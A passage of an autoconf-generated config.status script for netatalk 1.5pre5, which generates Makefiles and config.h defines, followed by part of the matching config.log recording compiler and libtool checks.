s%@USE_DHX_FALSE@%#%g
s%@USE_KERBEROS_TRUE@%#%g
s%@USE_KERBEROS_FALSE@%%g
s%@USE_PAM_SO_TRUE@%#%g
s%@USE_PAM_SO_FALSE@%%g
s%@USE_PAM_TRUE@%#%g
s%@USE_PAM_FALSE@%%g
s%@USE_PGP_TRUE@%#%g
s%@USE_PGP_FALSE@%%g
s%@USE_COBALT_TRUE@%#%g
s%@USE_COBALT_FALSE@%%g
s%@USE_REDHAT_TRUE@%#%g
s%@USE_REDHAT_FALSE@%%g
s%@USE_SUSE_TRUE@%#%g
s%@USE_SUSE_FALSE@%%g
s%@USE_SHADOWPW_TRUE@%#%g
s%@USE_SHADOWPW_FALSE@%%g
s%@USE_TRU64_TRUE@%#%g
s%@USE_TRU64_FALSE@%%g

CEOF

# Split the substitutions into bite-sized pieces for seds with
# small command number limits, like on Digital OSF/1 and HP-UX.
ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script.
ac_file=1 # Number of current file.
ac_beg=1 # First line for current file.
ac_end=$ac_max_sed_cmds # Line after last line for current file.
ac_more_lines=:
ac_sed_cmds=""
while $ac_more_lines; do
  if test $ac_beg -gt 1; then
    sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file
  else
    sed "${ac_end}q" conftest.subs > conftest.s$ac_file
  fi
  if test ! -s conftest.s$ac_file; then
    ac_more_lines=false
    rm -f conftest.s$ac_file
  else
    if test -z "$ac_sed_cmds"; then
      ac_sed_cmds="sed -f conftest.s$ac_file"
    else
      ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file"
    fi
    ac_file=`expr $ac_file + 1`
    ac_beg=$ac_end
    ac_end=`expr $ac_end + $ac_max_sed_cmds`
  fi
done
if test -z "$ac_sed_cmds"; then
  ac_sed_cmds=cat
fi

CONFIG_FILES=${CONFIG_FILES-"Makefile
	bin/Makefile
	bin/adv1tov2/Makefile
	bin/aecho/Makefile
	bin/afile/Makefile
	bin/afppasswd/Makefile
	bin/getzones/Makefile
	bin/megatron/Makefile
	bin/nbp/Makefile
	bin/pap/Makefile
	bin/psorder/Makefile
	config/Makefile
	contrib/Makefile
	contrib/nu/Makefile
	contrib/printing/Makefile
	contrib/shell_utils/Makefile
	contrib/timelord/Makefile
	distrib/Makefile
	distrib/config/Makefile
	distrib/config/netatalk-config
	distrib/initscripts/Makefile
	distrib/m4/Makefile
	etc/Makefile
	etc/afpd/Makefile
	etc/afpd/nls/Makefile
	etc/atalkd/Makefile
	etc/uams/Makefile
	etc/uams/uams_krb4/Makefile
	etc/papd/Makefile
	etc/psf/Makefile
	include/Makefile
	include/atalk/Makefile
	libatalk/Makefile
	libatalk/adouble/Makefile
	libatalk/asp/Makefile
	libatalk/atp/Makefile
	libatalk/compat/Makefile
	libatalk/dsi/Makefile
	libatalk/nbp/Makefile
	libatalk/netddp/Makefile
	libatalk/util/Makefile
	man/Makefile
	man/man1/Makefile
	man/man3/Makefile
	man/man4/Makefile
	man/man5/Makefile
	man/man8/Makefile
	sys/Makefile
	sys/netatalk/Makefile
	"}
for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then
  # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
  case "$ac_file" in
  *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'`
       ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;;
  *) ac_file_in="${ac_file}.in" ;;
  esac

  # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories.

  # Remove last slash and all that follows it.  Not all systems have dirname.
  ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'`
  if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then
    # The file is in a subdirectory.
    test ! -d "$ac_dir" && mkdir "$ac_dir"
    ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`"
    # A "../" for each directory in $ac_dir_suffix.
    ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'`
  else
    ac_dir_suffix= ac_dots=
  fi

  case "$ac_given_srcdir" in
  .)  srcdir=.
      if test -z "$ac_dots"; then top_srcdir=.
      else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;;
  /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;;
  *) # Relative path.
    srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix"
    top_srcdir="$ac_dots$ac_given_srcdir" ;;
  esac

  case "$ac_given_INSTALL" in
  [/$]*) INSTALL="$ac_given_INSTALL" ;;
  *) INSTALL="$ac_dots$ac_given_INSTALL" ;;
  esac

  echo creating "$ac_file"
  rm -f "$ac_file"
  configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure."
  case "$ac_file" in
  *Makefile*) ac_comsub="1i\\
# $configure_input" ;;
  *) ac_comsub= ;;
  esac

  ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"`
  sed -e "$ac_comsub
s%@configure_input@%$configure_input%g
s%@srcdir@%$srcdir%g
s%@top_srcdir@%$top_srcdir%g
s%@INSTALL@%$INSTALL%g
" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file
fi; done
rm -f conftest.s*

# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where
# NAME is the cpp macro being defined and VALUE is the value it is being given.
#
# ac_d sets the value in "#define NAME VALUE" lines.
ac_dA='s%^\([ 	]*\)#\([ 	]*define[ 	][ 	]*\)'
ac_dB='\([ 	][ 	]*\)[^ 	]*%\1#\2'
ac_dC='\3'
ac_dD='%g'
# ac_u turns "#undef NAME" with trailing blanks into "#define NAME VALUE".
ac_uA='s%^\([ 	]*\)#\([ 	]*\)undef\([ 	][ 	]*\)'
ac_uB='\([ 	]\)%\1#\2define\3'
ac_uC=' '
ac_uD='\4%g'
# ac_e turns "#undef NAME" without trailing blanks into "#define NAME VALUE".
ac_eA='s%^\([ 	]*\)#\([ 	]*\)undef\([ 	][ 	]*\)'
ac_eB='$%\1#\2define\3'
ac_eC=' '
ac_eD='%g'

if test "${CONFIG_HEADERS+set}" != set; then
  CONFIG_HEADERS="config.h"
fi
for ac_file in .. $CONFIG_HEADERS; do if test "x$ac_file" != x..; then
  # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
  case "$ac_file" in
  *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'`
       ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;;
  *) ac_file_in="${ac_file}.in" ;;
  esac

  echo creating $ac_file

  rm -f conftest.frag conftest.in conftest.out
  ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"`
  cat $ac_file_inputs > conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}PACKAGE${ac_dB}PACKAGE${ac_dC}"netatalk"${ac_dD}
${ac_uA}PACKAGE${ac_uB}PACKAGE${ac_uC}"netatalk"${ac_uD}
${ac_eA}PACKAGE${ac_eB}PACKAGE${ac_eC}"netatalk"${ac_eD}
${ac_dA}VERSION${ac_dB}VERSION${ac_dC}"1.5pre5"${ac_dD}
${ac_uA}VERSION${ac_uB}VERSION${ac_uC}"1.5pre5"${ac_uD}
${ac_eA}VERSION${ac_eB}VERSION${ac_eC}"1.5pre5"${ac_eD}
${ac_dA}HAVE_LIBCOM_ERR${ac_dB}HAVE_LIBCOM_ERR${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIBCOM_ERR${ac_uB}HAVE_LIBCOM_ERR${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIBCOM_ERR${ac_eB}HAVE_LIBCOM_ERR${ac_eC}1${ac_eD}
${ac_dA}HAVE_LIBKRB${ac_dB}HAVE_LIBKRB${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIBKRB${ac_uB}HAVE_LIBKRB${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIBKRB${ac_eB}HAVE_LIBKRB${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_LIBRESOLV${ac_dB}HAVE_LIBRESOLV${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIBRESOLV${ac_uB}HAVE_LIBRESOLV${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIBRESOLV${ac_eB}HAVE_LIBRESOLV${ac_eC}1${ac_eD}
${ac_dA}HAVE_LIBRPCSVC${ac_dB}HAVE_LIBRPCSVC${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIBRPCSVC${ac_uB}HAVE_LIBRPCSVC${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIBRPCSVC${ac_eB}HAVE_LIBRPCSVC${ac_eC}1${ac_eD}
${ac_dA}HAVE_ACCESS${ac_dB}HAVE_ACCESS${ac_dC}1${ac_dD}
${ac_uA}HAVE_ACCESS${ac_uB}HAVE_ACCESS${ac_uC}1${ac_uD}
${ac_eA}HAVE_ACCESS${ac_eB}HAVE_ACCESS${ac_eC}1${ac_eD}
${ac_dA}HAVE_DIRENT_H${ac_dB}HAVE_DIRENT_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_DIRENT_H${ac_uB}HAVE_DIRENT_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_DIRENT_H${ac_eB}HAVE_DIRENT_H${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}STDC_HEADERS${ac_dB}STDC_HEADERS${ac_dC}1${ac_dD}
${ac_uA}STDC_HEADERS${ac_uB}STDC_HEADERS${ac_uC}1${ac_uD}
${ac_eA}STDC_HEADERS${ac_eB}STDC_HEADERS${ac_eC}1${ac_eD}
${ac_dA}HAVE_SYS_WAIT_H${ac_dB}HAVE_SYS_WAIT_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYS_WAIT_H${ac_uB}HAVE_SYS_WAIT_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYS_WAIT_H${ac_eB}HAVE_SYS_WAIT_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_FCNTL_H${ac_dB}HAVE_FCNTL_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_FCNTL_H${ac_uB}HAVE_FCNTL_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_FCNTL_H${ac_eB}HAVE_FCNTL_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_LIMITS_H${ac_dB}HAVE_LIMITS_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIMITS_H${ac_uB}HAVE_LIMITS_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIMITS_H${ac_eB}HAVE_LIMITS_H${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_STRINGS_H${ac_dB}HAVE_STRINGS_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_STRINGS_H${ac_uB}HAVE_STRINGS_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_STRINGS_H${ac_eB}HAVE_STRINGS_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_SYS_FCNTL_H${ac_dB}HAVE_SYS_FCNTL_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYS_FCNTL_H${ac_uB}HAVE_SYS_FCNTL_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYS_FCNTL_H${ac_eB}HAVE_SYS_FCNTL_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_SYS_FILE_H${ac_dB}HAVE_SYS_FILE_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYS_FILE_H${ac_uB}HAVE_SYS_FILE_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYS_FILE_H${ac_eB}HAVE_SYS_FILE_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_SYS_IOCTL_H${ac_dB}HAVE_SYS_IOCTL_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYS_IOCTL_H${ac_uB}HAVE_SYS_IOCTL_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYS_IOCTL_H${ac_eB}HAVE_SYS_IOCTL_H${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_SYS_TIME_H${ac_dB}HAVE_SYS_TIME_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYS_TIME_H${ac_uB}HAVE_SYS_TIME_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYS_TIME_H${ac_eB}HAVE_SYS_TIME_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_SYSLOG_H${ac_dB}HAVE_SYSLOG_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYSLOG_H${ac_uB}HAVE_SYSLOG_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYSLOG_H${ac_eB}HAVE_SYSLOG_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_UNISTD_H${ac_dB}HAVE_UNISTD_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_UNISTD_H${ac_uB}HAVE_UNISTD_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_UNISTD_H${ac_eB}HAVE_UNISTD_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_TERMIOS_H${ac_dB}HAVE_TERMIOS_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_TERMIOS_H${ac_uB}HAVE_TERMIOS_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_TERMIOS_H${ac_eB}HAVE_TERMIOS_H${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_SYS_TERMIOS_H${ac_dB}HAVE_SYS_TERMIOS_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SYS_TERMIOS_H${ac_uB}HAVE_SYS_TERMIOS_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SYS_TERMIOS_H${ac_eB}HAVE_SYS_TERMIOS_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_NETDB_H${ac_dB}HAVE_NETDB_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_NETDB_H${ac_uB}HAVE_NETDB_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_NETDB_H${ac_eB}HAVE_NETDB_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_SGTTY_H${ac_dB}HAVE_SGTTY_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_SGTTY_H${ac_uB}HAVE_SGTTY_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_SGTTY_H${ac_eB}HAVE_SGTTY_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_ST_RDEV${ac_dB}HAVE_ST_RDEV${ac_dC}1${ac_dD}
${ac_uA}HAVE_ST_RDEV${ac_uB}HAVE_ST_RDEV${ac_uC}1${ac_uD}
${ac_eA}HAVE_ST_RDEV${ac_eB}HAVE_ST_RDEV${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}TIME_WITH_SYS_TIME${ac_dB}TIME_WITH_SYS_TIME${ac_dC}1${ac_dD}
${ac_uA}TIME_WITH_SYS_TIME${ac_uB}TIME_WITH_SYS_TIME${ac_uC}1${ac_uD}
${ac_eA}TIME_WITH_SYS_TIME${ac_eB}TIME_WITH_SYS_TIME${ac_eC}1${ac_eD}
${ac_dA}GETGROUPS_T${ac_dB}GETGROUPS_T${ac_dC}gid_t${ac_dD}
${ac_uA}GETGROUPS_T${ac_uB}GETGROUPS_T${ac_uC}gid_t${ac_uD}
${ac_eA}GETGROUPS_T${ac_eB}GETGROUPS_T${ac_eC}gid_t${ac_eD}
${ac_dA}HAVE_UNISTD_H${ac_dB}HAVE_UNISTD_H${ac_dC}1${ac_dD}
${ac_uA}HAVE_UNISTD_H${ac_uB}HAVE_UNISTD_H${ac_uC}1${ac_uD}
${ac_eA}HAVE_UNISTD_H${ac_eB}HAVE_UNISTD_H${ac_eC}1${ac_eD}
${ac_dA}HAVE_GETPAGESIZE${ac_dB}HAVE_GETPAGESIZE${ac_dC}1${ac_dD}
${ac_uA}HAVE_GETPAGESIZE${ac_uB}HAVE_GETPAGESIZE${ac_uC}1${ac_uD}
${ac_eA}HAVE_GETPAGESIZE${ac_eB}HAVE_GETPAGESIZE${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_MMAP${ac_dB}HAVE_MMAP${ac_dC}1${ac_dD}
${ac_uA}HAVE_MMAP${ac_uB}HAVE_MMAP${ac_uC}1${ac_uD}
${ac_eA}HAVE_MMAP${ac_eB}HAVE_MMAP${ac_eC}1${ac_eD}
${ac_dA}RETSIGTYPE${ac_dB}RETSIGTYPE${ac_dC}void${ac_dD}
${ac_uA}RETSIGTYPE${ac_uB}RETSIGTYPE${ac_uC}void${ac_uD}
${ac_eA}RETSIGTYPE${ac_eB}RETSIGTYPE${ac_eC}void${ac_eD}
${ac_dA}HAVE_UTIME_NULL${ac_dB}HAVE_UTIME_NULL${ac_dC}1${ac_dD}
${ac_uA}HAVE_UTIME_NULL${ac_uB}HAVE_UTIME_NULL${ac_uC}1${ac_uD}
${ac_eA}HAVE_UTIME_NULL${ac_eB}HAVE_UTIME_NULL${ac_eC}1${ac_eD}
${ac_dA}HAVE_WAIT3${ac_dB}HAVE_WAIT3${ac_dC}1${ac_dD}
${ac_uA}HAVE_WAIT3${ac_uB}HAVE_WAIT3${ac_uC}1${ac_uD}
${ac_eA}HAVE_WAIT3${ac_eB}HAVE_WAIT3${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_GETCWD${ac_dB}HAVE_GETCWD${ac_dC}1${ac_dD}
${ac_uA}HAVE_GETCWD${ac_uB}HAVE_GETCWD${ac_uC}1${ac_uD}
${ac_eA}HAVE_GETCWD${ac_eB}HAVE_GETCWD${ac_eC}1${ac_eD}
${ac_dA}HAVE_GETHOSTNAME${ac_dB}HAVE_GETHOSTNAME${ac_dC}1${ac_dD}
${ac_uA}HAVE_GETHOSTNAME${ac_uB}HAVE_GETHOSTNAME${ac_uC}1${ac_uD}
${ac_eA}HAVE_GETHOSTNAME${ac_eB}HAVE_GETHOSTNAME${ac_eC}1${ac_eD}
${ac_dA}HAVE_GETTIMEOFDAY${ac_dB}HAVE_GETTIMEOFDAY${ac_dC}1${ac_dD}
${ac_uA}HAVE_GETTIMEOFDAY${ac_uB}HAVE_GETTIMEOFDAY${ac_uC}1${ac_uD}
${ac_eA}HAVE_GETTIMEOFDAY${ac_eB}HAVE_GETTIMEOFDAY${ac_eC}1${ac_eD}
${ac_dA}HAVE_GETUSERSHELL${ac_dB}HAVE_GETUSERSHELL${ac_dC}1${ac_dD}
${ac_uA}HAVE_GETUSERSHELL${ac_uB}HAVE_GETUSERSHELL${ac_uC}1${ac_uD}
${ac_eA}HAVE_GETUSERSHELL${ac_eB}HAVE_GETUSERSHELL${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_MKDIR${ac_dB}HAVE_MKDIR${ac_dC}1${ac_dD}
${ac_uA}HAVE_MKDIR${ac_uB}HAVE_MKDIR${ac_uC}1${ac_uD}
${ac_eA}HAVE_MKDIR${ac_eB}HAVE_MKDIR${ac_eC}1${ac_eD}
${ac_dA}HAVE_RMDIR${ac_dB}HAVE_RMDIR${ac_dC}1${ac_dD}
${ac_uA}HAVE_RMDIR${ac_uB}HAVE_RMDIR${ac_uC}1${ac_uD}
${ac_eA}HAVE_RMDIR${ac_eB}HAVE_RMDIR${ac_eC}1${ac_eD}
${ac_dA}HAVE_SELECT${ac_dB}HAVE_SELECT${ac_dC}1${ac_dD}
${ac_uA}HAVE_SELECT${ac_uB}HAVE_SELECT${ac_uC}1${ac_uD}
${ac_eA}HAVE_SELECT${ac_eB}HAVE_SELECT${ac_eC}1${ac_eD}
${ac_dA}HAVE_SOCKET${ac_dB}HAVE_SOCKET${ac_dC}1${ac_dD}
${ac_uA}HAVE_SOCKET${ac_uB}HAVE_SOCKET${ac_uC}1${ac_uD}
${ac_eA}HAVE_SOCKET${ac_eB}HAVE_SOCKET${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}HAVE_STRDUP${ac_dB}HAVE_STRDUP${ac_dC}1${ac_dD}
${ac_uA}HAVE_STRDUP${ac_uB}HAVE_STRDUP${ac_uC}1${ac_uD}
${ac_eA}HAVE_STRDUP${ac_eB}HAVE_STRDUP${ac_eC}1${ac_eD}
${ac_dA}HAVE_STRSTR${ac_dB}HAVE_STRSTR${ac_dC}1${ac_dD}
${ac_uA}HAVE_STRSTR${ac_uB}HAVE_STRSTR${ac_uC}1${ac_uD}
${ac_eA}HAVE_STRSTR${ac_eB}HAVE_STRSTR${ac_eC}1${ac_eD}
${ac_dA}HAVE_STRTOUL${ac_dB}HAVE_STRTOUL${ac_dC}1${ac_dD}
${ac_uA}HAVE_STRTOUL${ac_uB}HAVE_STRTOUL${ac_uC}1${ac_uD}
${ac_eA}HAVE_STRTOUL${ac_eB}HAVE_STRTOUL${ac_eC}1${ac_eD}
${ac_dA}HAVE_SETPGRP${ac_dB}HAVE_SETPGRP${ac_dC}1${ac_dD}
${ac_uA}HAVE_SETPGRP${ac_uB}HAVE_SETPGRP${ac_uC}1${ac_uD}
${ac_eA}HAVE_SETPGRP${ac_eB}HAVE_SETPGRP${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}ADMIN_GRP${ac_dB}ADMIN_GRP${ac_dC}1${ac_dD}
${ac_uA}ADMIN_GRP${ac_uB}ADMIN_GRP${ac_uC}1${ac_uD}
${ac_eA}ADMIN_GRP${ac_eB}ADMIN_GRP${ac_eC}1${ac_eD}
${ac_dA}TCPWRAP${ac_dB}TCPWRAP${ac_dC}1${ac_dD}
${ac_uA}TCPWRAP${ac_uB}TCPWRAP${ac_uC}1${ac_uD}
${ac_eA}TCPWRAP${ac_eB}TCPWRAP${ac_eC}1${ac_eD}
${ac_dA}CONFIG_DIR${ac_dB}CONFIG_DIR${ac_dC}"/etc/atalk"${ac_dD}
${ac_uA}CONFIG_DIR${ac_uB}CONFIG_DIR${ac_uC}"/etc/atalk"${ac_uD}
${ac_eA}CONFIG_DIR${ac_eB}CONFIG_DIR${ac_eC}"/etc/atalk"${ac_eD}
${ac_dA}UAMS_PATH${ac_dB}UAMS_PATH${ac_dC}"/etc/atalk/uams"${ac_dD}
${ac_uA}UAMS_PATH${ac_uB}UAMS_PATH${ac_uC}"/etc/atalk/uams"${ac_uD}
${ac_eA}UAMS_PATH${ac_eB}UAMS_PATH${ac_eC}"/etc/atalk/uams"${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}BSD4_4${ac_dB}BSD4_4${ac_dC}1${ac_dD}
${ac_uA}BSD4_4${ac_uB}BSD4_4${ac_uC}1${ac_uD}
${ac_eA}BSD4_4${ac_eB}BSD4_4${ac_eC}1${ac_eD}
${ac_dA}HAVE_LIBCRYPTO${ac_dB}HAVE_LIBCRYPTO${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIBCRYPTO${ac_uB}HAVE_LIBCRYPTO${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIBCRYPTO${ac_eB}HAVE_LIBCRYPTO${ac_eC}1${ac_eD}
${ac_dA}HAVE_LIBDES${ac_dB}HAVE_LIBDES${ac_dC}1${ac_dD}
${ac_uA}HAVE_LIBDES${ac_uB}HAVE_LIBDES${ac_uC}1${ac_uD}
${ac_eA}HAVE_LIBDES${ac_eB}HAVE_LIBDES${ac_eC}1${ac_eD}
${ac_dA}OPENSSL_DHX${ac_dB}OPENSSL_DHX${ac_dC}1${ac_dD}
${ac_uA}OPENSSL_DHX${ac_uB}OPENSSL_DHX${ac_uC}1${ac_uD}
${ac_eA}OPENSSL_DHX${ac_eB}OPENSSL_DHX${ac_eC}1${ac_eD}
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  cat > conftest.frag <<CEOF
${ac_dA}UAM_DHX${ac_dB}UAM_DHX${ac_dC}1${ac_dD}
${ac_uA}UAM_DHX${ac_uB}UAM_DHX${ac_uC}1${ac_uD}
${ac_eA}UAM_DHX${ac_eB}UAM_DHX${ac_eC}1${ac_eD}
${ac_dA}UAM_RNDNUM${ac_dB}UAM_RNDNUM${ac_dC}1${ac_dD}
${ac_uA}UAM_RNDNUM${ac_uB}UAM_RNDNUM${ac_uC}1${ac_uD}
${ac_eA}UAM_RNDNUM${ac_eB}UAM_RNDNUM${ac_eC}1${ac_eD}
s%^[ 	]*#[ 	]*undef[ 	][ 	]*[a-zA-Z_][a-zA-Z_0-9]*%/* & */%
CEOF
  sed -f conftest.frag conftest.in > conftest.out
  rm -f conftest.in
  mv conftest.out conftest.in

  rm -f conftest.frag conftest.h
  echo "/* $ac_file.  Generated automatically by configure.  */" > conftest.h
  cat conftest.in >> conftest.h
  rm -f conftest.in
  if cmp -s $ac_file conftest.h 2>/dev/null; then
    echo "$ac_file is unchanged"
    rm -f conftest.h
  else
    # Remove last slash and all that follows it.  Not all systems have dirname.
      ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'`
      if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then
      # The file is in a subdirectory.
      test ! -d "$ac_dir" && mkdir "$ac_dir"
    fi
    rm -f $ac_file
    mv conftest.h $ac_file
  fi
fi; done



test -z "$CONFIG_HEADERS" || echo timestamp > stamp-h
chmod a+x distrib/config/netatalk-config contrib/shell_utils/apple_*

exit 0


config.log:

This file contains any messages produced by compilers while
running configure, to aid debugging if configure makes a mistake.

configure:637: checking host system type
configure:658: checking target system type
configure:676: checking build system type
configure:710: checking for a BSD compatible install
configure:763: checking whether build environment is sane
configure:820: checking whether make sets ${MAKE}
configure:866: checking for working aclocal
configure:879: checking for working autoconf
configure:892: checking for working automake
configure:905: checking for working autoheader
configure:918: checking for working makeinfo
configure:1006: checking for ranlib
configure:1036: checking for gcc
configure:1149: checking whether the C compiler (gcc  ) works
configure:1165: gcc -o conftest    conftest.c  1>&5
configure:1191: checking whether the C compiler (gcc  ) is a cross-compiler
configure:1196: checking whether we are using GNU C
configure:1224: checking whether gcc accepts -g
configure:1267: checking for ld used by GCC
configure:1329: checking if the linker (/usr/bin/ld) is GNU ld
configure:1345: checking for BSD-compatible nm
configure:1381: checking whether ln -s works
ltconfig:603: checking for object suffix
ltconfig:604: gcc -c -g -O2  conftest.c 1>&5
ltconfig:629: checking for executable suffix
ltconfig:630: gcc -o conftest -g -O2   conftest.c  1>&5
ltconfig:776: checking if gcc PIC flag -fPIC works
ltconfig:777: gcc -c -g -O2 -fPIC -DPIC  conftest.c 1>&5
ltconfig:829: checking if gcc supports -c -o file.o
ltconfig:830: gcc -c -g -O2 -o out/conftest2.o  conftest.c 1>&5
ltconfig:862: checking if gcc supports -c -o file.lo
ltconfig:863: gcc -c -g -O2 -c -o conftest.lo  conftest.c 1>&5
ltconfig:914: checking if gcc supports -fno-rtti -fno-exceptions
ltconfig:915: gcc -c -g -O2 -fno-rtti -fno-exceptions -c conftest.c  conftest.c 1>&5
ltconfig:958: checking if gcc static flag -static works
ltconfig:959: gcc -o conftest -g -O2   -static conftest.c  1>&5
ltconfig:1653: checking if global_symbol_pipe works
ltconfig:1654: gcc -c -g -O2  conftest.c 1>&5
ltconfig:1657: eval "/usr/bin/nm -p conftest.o | sed -n -e 's/^.*[ 	]\([BCDEGRST]\)[ 	][ 	]*\(\)\([_A-Za-z][_A-Za-z0-9]*\)$/\1 \2\3 \3/p' > conftest.nm"
cannot find nm_test_var in conftest.nm
ltconfig:1653: checking if global_symbol_pipe works
ltconfig:1654: gcc -c -g -O2  conftest.c 1>&5
ltconfig:1657: eval "/usr/bin/nm -p conftest.o | sed -n -e 's/^.*[ 	]\([BCDEGRST]\)[ 	][ 	]*\(_\)\([_A-Za-z][_A-Za-z0-9]*\)$/\1 \2\3 \3/p' > conftest.nm"
ltconfig:1709: gcc -o conftest -g -O2 -fno-builtin -fno-rtti -fno-exceptions   conftest.c conftstm.o 1>&5
configure:1578: checking for gawk
configure:1610: checking for gcc
configure:1723: checking whether the C compiler (gcc -g -O2 ) works
configure:1739: gcc -o conftest -g -O2   conftest.c  1>&5
configure:1765: checking whether the C compiler (gcc -g -O2 ) is a cross-compiler
configure:1770: checking whether we are using GNU C
configure:1798: checking whether gcc accepts -g
configure:1841: checking for a BSD compatible install
configure:1894: checking whether ln -s works
configure:1915: checking whether make sets ${MAKE}
ltconfig:603: checking for object suffix
